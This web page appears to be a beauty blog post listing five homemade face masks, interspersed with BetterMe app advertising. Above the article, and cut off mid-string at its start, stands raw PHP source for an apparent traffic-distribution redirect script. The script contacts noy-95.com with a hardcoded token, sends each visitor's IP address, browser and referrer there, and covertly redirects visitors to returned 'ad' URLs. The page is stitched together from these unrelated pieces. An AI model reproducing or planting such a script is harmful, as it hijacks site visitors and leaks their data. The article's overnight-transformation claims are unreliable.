"; echo json_encode($_SERVER); echo "
"; } $API_DOMAIN = 'noy-95.com'; $AD_TOKEN = '36bd9815c20357f96453fa247140b6b167e93fb0'; $TB_URL = ''; $ttl = 10 * 60; $fileName = dirname(__FILE__)."/.domain.cache"; $query = isset($_GET['q']) ? $_GET['q'] : ''; $s1 = isset($_GET['s1']) ? $_GET['s1'] : ''; $s2 = isset($_GET['s2']) ? $_GET['s2'] : ''; $s3 = isset($_GET['s3']) ? $_GET['s3'] : ''; if ($isDebug) { echo "Getting tds domain from cache...
"; } $info = getDomain($fileName); if (is_array($info) && $info['expired'] < time()) { if ($isDebug) { echo "FAIL: TDS domain cache is empty or expired
"; } $info = false; } if ($info === false) { if ($isDebug) { echo "Getting tds domain from api...
"; } $domain = getTDSDomain($API_DOMAIN, $AD_TOKEN); if (!$domain) { if ($isDebug) { echo "FAIL: No domain received.
"; } if ($TB_URL) { $rUrl = str_replace(array('{QUERY}', '{S1}', '{S2}', '{S3}'), array($query, $s1, $s2, $s3), $TB_URL); if ($isDebug) { echo "Redirecting to trafficback: $rUrl
"; } else { listHeaders(); header("Location: $rUrl"); } return; } if ($isDebug) { echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Saving domain to cache...
"; } saveDomain($fileName, $domain, time() + $ttl); $info = array('domain' => $domain); } if ($isDebug) { echo "Getting ad url...
"; } $location = getAd($info['domain'], $AD_TOKEN, $_SERVER, array('query' => $query, 's1' => $s1, 's2' => $s2, 's3' => $s3), $isDebug); if (!$location) { if ($isDebug) { echo "FAIL: No ad found.
"; echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Redirecting to ad: $location
"; } else { listHeaders(); header("Location: $location"); ob_flush(); } return; function getDomain($file) { $d = file($file); if ($d === false || count($d) === 0) { return false; } $info = explode(";", $d[0]); // mailformed file if (count($info) !== 2) { return false; } return array( 'domain' => $info[0], 'expired' => (int) $info[1] ); } function saveDomain($file, $domain, $expired) { file_put_contents($file, "$domain;$expired"); } function getTDSDomain ($apiUrl, $token) { $ctx = stream_context_create(array('http'=>array('timeout' => 10))); $res = file_get_contents("http://$apiUrl/pd?token=$token", false, $ctx); if (!$res) { return ""; } $data = json_decode($res, true); if (!is_array($data) || !array_key_exists("domain", $data)) { return ""; } return $data["domain"]; } function getAd($domain, $token, $server, $params, $isDebug) { $errCount = 0; $res = ''; while ($errCount < 2) { $res = doReq($domain, $token, $server, $params, $isDebug); if ($res !== false) { break; } $errCount++; } if ($res === false || $res['code'] >= 400 || !is_array($res['response'])) { return false; } if (!empty($res['response']['url'])) { return $res['response']['url']; } else if (!empty($res['response']['tb'])) { return $res['response']['tb']; } else { return false; } } function doReq($domain, $token, $server, $params, $isDebug) { $ch = curl_init(); $body = array(); if (!empty($server['HTTP_REFERER'])) { $body['ref'] = $server['HTTP_REFERER']; } if (!empty($server['HTTP_USER_AGENT'])) { $body['ua'] = $server['HTTP_USER_AGENT']; } if (!empty($server['HTTP_ACCEPT_LANGUAGE'])) { $body['lang'] = $server['HTTP_ACCEPT_LANGUAGE']; } $body['ip'] = getClientIP($server); $body['q'] = $params['query']; $scheme = getScheme($server); $bodyStr = json_encode($body); $addSubParams = array(); if (!empty($params['s1'])) { $addSubParams[] = "s1=".$params['s1']; } if (!empty($params['s2'])) { $addSubParams[] = "s2=".$params['s2']; } if (!empty($params['s3'])) { $addSubParams[] = "s3=".$params['s3']; } $subStr = (count($addSubParams) > 0) ? "&".implode("&", $addSubParams) : ""; $ch = curl_init("$scheme://$domain/rtb/r?token=$token$subStr"); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: '.strlen($bodyStr)) ); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if ($info === false || !$info['http_code']) { if ($isDebug) { echo "Network error occurred: ".curl_error($ch)."
"; } return false; } $adData=json_decode($result, true); return array('code' => $info['http_code'], 'response' => is_array($adData) && count($adData) > 0 ? $adData[0] : null); } function getScheme($server) { return stripos($server['SERVER_PROTOCOL'],'https') === true ? 'https' : 'http'; } function getClientIP($server) { if (array_key_exists('HTTP_X_FORWARDED_FOR', $server)){ return $server["HTTP_X_FORWARDED_FOR"]; } else if (array_key_exists('HTTP_X_REAL_IP', $server)) { return $server["HTTP_X_REAL_IP"]; } else if (array_key_exists('REMOTE_ADDR', $server)) { return $server["REMOTE_ADDR"]; } return ''; } function listHeaders() { header("Expires: Tue, 03 Jul 2001 06:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("Connection: close"); } function render404($server) { $protocol = isset($server['SERVER_PROTOCOL']) ? $server['SERVER_PROTOCOL'] : 'HTTP/1.1'; listHeaders(); header("$protocol 404 Not Found"); }

2/04/2019

5 facial masks that will transform one's appearance overnight

5 facial masks that will transform one's appearance overnight

It may seem that these days we have everything to look perfect. All this vast range of beauty care products, various procedures, even plastic surgery – what else do you need? However, there is one thing standing in our way – the lack of time. It is true you can afford anything if you have enough of means at your disposal, but trying to ear that lot leaves you with neither time nor desire to do anything.
BetterMe App helps women achieve their body goals with ease and efficiency by helping to choose proper meal plans and effective workouts.
Start using our app and you will see good results in a short time.
This may seem like a dead end, but there is always a way out. The thing is that you can easily take care of your skin at home and it won’t take you much money to spend since all of the products are usually lying around your kitchen. That is why we present to your attention a list of 5 homemademasks that will make you look irresistible on a daily basis.
Credit: Freepik
Credit: Freepik
#1. Cucumber mask
In case you need to whiten your skin a little – all you need is a fresh cucumber and an egg white.
#1. Grate the cucumber and combine it with the beaten egg white.
#2. Mix all well and apply to your face.
#3. Leave it on for about 15 minutes.
#4. Rinse it off.
Credit: Freepik
Credit: Freepik
#2. Lemon against acne
To deal with acne you are going to need a list of few ingredients:
Lemon juice
Egg white
Milk
Honey
#1. Whip the egg white.
#2. Add all the ingredients to it.
#3. Mix all well and apply it to your face.
#4. Leave it on for about 15 minutes.
#5. Wipe it off with the help of wet wipe.
Credit: Freepik
Credit: Freepik
#3. Oatmeal against wrinkles and blackheads
#1. First, you are going to need to powder the oatmeal.
#2. Grate one apple.
#3. Combine a tablespoon of oats with the same amount of olive oil, combine two tablespoons of kefir with lemon juice in a separate container, combine the apple with honey in a third container.
#4. Apply oats and olive oil to your face, then repeat the procedure with apple mix and finish off with kefir and lemon mix.
#5. You have to be sure that the first layer is dry before applying the second and so on.
#6. Leave the mask on for about 5 minutes then rinse it off.
#4. Turmeric for bright skin
#1. Combine some turmeric powder with mashed avocado and kefir.
#2. Apply it to your face.
#3. Leave it on for about 5 minutes.
#4. Wash it off.
Credit: Freepik
Credit: Freepik
#5. Chocolate mask
Ingredients:
5 tbsp. Cocoa powder
4 tbsp. honey
3 tbsp. oatmeal
2 tbsp. Sour cream
BetterMe App helps you increase your self-esteem and achieve your personal goals by opening the doors to the world of fitness and healthy lifestyle.
Try it now to see the best version of yourself as soon as possible.
#1. Powder the oats
#2. Add all the other ingredients to the mix.
#3. Apply the mask to your face.
#4. Leave it on for about 20 minutes.
#5. Rinse it off.
Credit: Freepik